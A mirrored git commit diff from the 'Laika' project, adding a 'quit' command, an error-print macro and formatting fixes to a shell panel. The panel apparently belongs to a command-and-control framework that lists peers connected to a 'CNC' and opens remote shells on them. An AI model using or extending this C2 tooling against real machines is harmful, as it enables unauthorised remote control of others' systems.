1
0
mirror of https://github.com/CPunch/Laika.git synced 2024-11-22 04:50:06 +00:00

Added 'quit' command

This commit is contained in:
CPunch 2022-03-22 09:50:22 -05:00
parent e3b1cf586b
commit 94bcabadfd
3 changed files with 20 additions and 4 deletions

View File

@ -31,13 +31,20 @@ typedef enum {
TERM_BRIGHT_WHITE TERM_BRIGHT_WHITE
} TERM_COLOR; } TERM_COLOR;
#define PRINTTAG(color) shellT_printf("\r%s[~]%s ", shellT_getForeColor(color), shellT_getForeColor(TERM_BRIGHT_WHITE))
#define PRINTINFO(...) do { \ #define PRINTINFO(...) do { \
shellT_printf("\r%s[~]%s ", shellT_getForeColor(TERM_BRIGHT_YELLOW), shellT_getForeColor(TERM_BRIGHT_WHITE)); \ PRINTTAG(TERM_BRIGHT_YELLOW); \
shellT_printf(__VA_ARGS__); \ shellT_printf(__VA_ARGS__); \
} while(0); } while(0);
#define PRINTSUCC(...) do { \ #define PRINTSUCC(...) do { \
shellT_printf("\r%s[~]%s ", shellT_getForeColor(TERM_BRIGHT_GREEN), shellT_getForeColor(TERM_BRIGHT_WHITE)); \ PRINTTAG(TERM_BRIGHT_GREEN); \
shellT_printf(__VA_ARGS__); \
} while(0);
#define PRINTERROR(...) do { \
PRINTTAG(TERM_BRIGHT_RED); \
shellT_printf(__VA_ARGS__); \ shellT_printf(__VA_ARGS__); \
} while(0); } while(0);

View File

@ -38,5 +38,6 @@ int main(int argv, char *argc[]) {
} }
shellC_cleanup(&client); shellC_cleanup(&client);
PRINTERROR("Connection closed\n");
return 0; return 0;
} }

View File

@ -34,14 +34,20 @@ int shellS_readInt(char *str) {
void helpCMD(tShell_client *client, int args, char *argc[]); void helpCMD(tShell_client *client, int args, char *argc[]);
void quitCMD(tShell_client *client, int args, char *argc[]) {
PRINTINFO("Killing socket...\n");
laikaS_kill(&client->peer->sock);
}
void listPeers(tShell_client *client, int args, char *argc[]) { void listPeers(tShell_client *client, int args, char *argc[]) {
int i; int i;
shellT_printf("\n"); shellT_printf("\n");
for (i = 0; i < client->peerTblCount; i++) { for (i = 0; i < client->peerTblCount; i++) {
if (client->peerTbl[i]) { if (client->peerTbl[i]) {
shellT_printf("\n%04d ", i); shellT_printf("%04d ", i);
shellP_printInfo(client->peerTbl[i]); shellP_printInfo(client->peerTbl[i]);
shellT_printf("\n");
} }
} }
shellT_printf("\n"); shellT_printf("\n");
@ -84,7 +90,7 @@ void openShell(tShell_client *client, int args, char *argc[]) {
shellT_resetTerm(); shellT_resetTerm();
shellT_conioTerm(); shellT_conioTerm();
PRINTSUCC("Shell closed!\n\n"); PRINTSUCC("Shell closed!\n");
} }
/* =============================================[[ Command Table ]]============================================== */ /* =============================================[[ Command Table ]]============================================== */
@ -93,6 +99,7 @@ void openShell(tShell_client *client, int args, char *argc[]) {
tShell_cmdDef shellS_cmds[] = { tShell_cmdDef shellS_cmds[] = {
CREATECMD("help", "Lists avaliable commands", helpCMD), CREATECMD("help", "Lists avaliable commands", helpCMD),
CREATECMD("quit", "Disconnects from CNC, closing panel", quitCMD),
CREATECMD("list", "Lists all connected peers to CNC", listPeers), CREATECMD("list", "Lists all connected peers to CNC", listPeers),
CREATECMD("shell", "Opens a shell on peer", openShell), CREATECMD("shell", "Opens a shell on peer", openShell),
}; };
@ -163,6 +170,7 @@ void shellS_runCmd(tShell_client *client, char *cmd) {
} }
/* run command */ /* run command */
shellT_printf("\n");
if (setjmp(cmdE_err) == 0) { if (setjmp(cmdE_err) == 0) {
cmdDef->callback(client, args, argc); cmdDef->callback(client, args, argc);
} }